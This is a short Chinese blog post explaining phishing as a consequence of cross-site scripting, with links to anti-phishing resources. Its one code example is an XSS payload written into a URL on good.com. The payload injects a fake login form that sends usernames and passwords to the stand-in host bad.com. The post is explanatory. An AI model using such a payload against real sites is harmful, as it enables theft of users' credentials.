phishing

cross-site scripting 最直接的危害就是“phishing”,所以写篇文章来介绍一下这个新词汇。


什么是 phishing?



phishing是一种把社会工程和技术手段兼而用之,偷取消费者个人身份信息和财务帐户信息的手段。


如何 phishing?


点击放大


phish 的示例代码


http://www.good.com/index.asp?info=<form method=”POST” name=”Form1″><div style=”position:absolute;top:1024;left:1024;”><table cellpadding=”5″ cellspacing=”5″ width=”400″ bgcolor=”white” height=”300″><tr><td valign=”top”><p><p><p><BR><b><font color=”red”>Please Login and update your phone number.</font><BR>We cannot complete your order until your current phone number is on record.</font></b><br><br><b>User Login</b><br><br><b>Username:</b><BR><input type=”text” id=”UserName” name=”UserName”><P><B>Password:</b><BR><input type=”password” id=”UserPassword” name=”UserPassword”><P><input type=”button” value=”Login” onclick=”document.Form1.action=’http://www.bad.com’;submit();”></td></tr></table></div></form>


相关链接


Anti-Phishing Working Group


小心”网络钓鱼”邮件

发表评论

电子邮件地址不会被公开。 必填项已用*标注